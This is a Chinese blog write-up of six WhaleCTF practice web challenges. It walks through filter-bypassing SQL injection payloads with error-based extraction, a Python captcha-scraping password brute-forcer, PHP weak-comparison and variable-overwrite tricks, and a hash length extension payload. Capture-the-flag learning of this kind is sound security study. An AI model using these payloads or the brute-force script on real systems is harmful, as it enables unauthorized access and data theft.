WhaleCTF第一期打卡的几个web题目

又发现一个很好的平台尝试做一下

真的注入

先输入’发现有报错,应该存在注入
然后尝试
1' or '1'='1发现被过滤了

然后继续尝试发现空格,union,or,and被过滤了,当然这里也可以用bp的爆破功能去测试,还是很好用的
然后这题还有一个坑就是xss的提示,输入<>发现被过滤,这样我们就能够利用这一点去构造payload
而空格我们可以用/**/来绕过
下面是我的注入过程

1
2
3
4
5
6
7
8
9
1'/**/o<>r/**/1=1#
1'/**/o<>rder/**/by/**/3#
-1'/**/un<>ion/**/sel<>ect/**/1,2,3# 发现没有回显,只能尝试报错注入或者盲注了,但盲注写脚本太麻烦我们尝试报错注入
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/database())),1)# 发现数据库,下面就是常规操作了
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/table_name/**/from/**/info<>rmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),0x7e),1)#发现表名flag_0d9a,其实这里也可以用group_concat,没被过滤
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/coulmn_name/**/from/**/info<>rmation_schema.columns/**/where/**/table_name='flag_0d9a'/**/limit/**/0,1),0x7e),1)#
这里突然发现column被过滤掉了,只能双写绕过了
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/colcolumnsumn_name/**/from/**/info<>rmation_schema.colcolumnsumns/**/where/**/table_name='flag_0d9a'/**/limit/**/0,1),0x7e),1)#发现列名flag
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/flag/**/from/**/flag_0d9a),0x7e),1)# 得到flag

这一题又再一次复习了用<>还有双写绕过的技巧

不明觉厉

查看源码发现有9s81jWjd98YU.php
查看发现是一个登录框,先要想想有没有注入
输入’发现没有过滤并且只有admin一个用户
只能用爆破了
这里学会了如何用绝对位置获取验证码
再次查看源码发现密码范围在(11111, 12111),并且发现这里的username还有password都是以get方式去提交的
写个脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import time

def solve(url):
url = url
Talk = requests.Session()
for i in xrange(11111, 12112):
ans = Talk.get(url)
Randcode = ans.content[ans.content.find('randcode')+23:ans.content.find('randcode')+26]
res = Talk.get(url+'?username=admin&password='+str(i)+'&randcode='+Randcode)
print len(res.content)
if len(res.content)!=160:
print 'Success! Your password is '+str(i)+'\n'
print res.content
break
time.sleep(0.3)
return




if __name__ == '__main__':
print '[+]Attacked by 0verWatch'
try:
url = 'http://daka.whaledu.com/web/web38/9s81jWjd98YU.php'
solve(url)
except:
print 'Something Wrong!'

最终得到flag

等量登录

首先查看源代码发现index.phps
发现是代码审计的题目

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
$flag = '********';
if (isset($_GET['name']) and isset($_GET['password'])){
if ($_GET['name'] == $_GET['password'])
print 'name and password must be diffirent';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die($flag);
else print 'invalid password';
}
?>

这一题很简单,利用的是sha函数的漏洞去绕过

1
?name[]=1&password[]=2

强势替换

又是一道代码审计的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
extract($_GET);
if(!empty($vs)){
$Ff = trim(file_get_contents($fF));
if($vs!=$Ff){
if(md5($vs) == md5($Ff)){
echo "<p>This is flag:".$flag."</p>";
}
else{
"<p>Variable extract!</>";
}
}
else{
echo "<p>Hacker!</p>";
}
}
?>

都是很简单的题目利用了extract全局变量覆盖还有file_get_contents函数为协议以及MD5弱类型比较的性质
构造payload:?vs=QNKCDZO&fF=php://input
post数据:

1
s878926199a

正则进入

查看源码没发现任何东西,只能去考虑源码泄露的问题了,试一下index.php~出现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
echo "waht the hell?";
$flag = "*******";
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>

首先是一些预备知识

1
2
3
4
5
6
7
8
9
10
11
12
13
[:graph:]匹配任何可见字符

[:punct:]匹配任何标点符号

[:digit:]匹配任何数字

[:upper:]匹配任何大写字母

[:lower:]匹配任何小写字母

+表示一次及以上

|表示或者

/^[[:graph:]]{12,}$/匹配12个及以上的可见字符

/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/匹配标点、数字、大写字母、小写字母中的一个

结整段代码来看,我们需要post一个字符串,该字符串的值为42,并且要包含标点、数字、大写字母、小写字母中三个及以上类型,同时匹配次数要不小于6次
于是我们可以利用科学计数法去构造
password=42.000000e+0或者是420.00000e-1

哈希入侵

hash长度扩展攻击
可以用hashdump也可以用github上的脚本
以前的博客有些怎么用就不多说了
payload:

1
role=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00P%00%00%00%00%00%00%00whaleCTF&hash=aab9a3180e92bd4126d56011b672711f

听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. 真的注入
  2. 2. 不明觉厉
  3. 3. 等量登录
  4. 4. 强势替换
  5. 5. 正则进入
  6. 6. 哈希入侵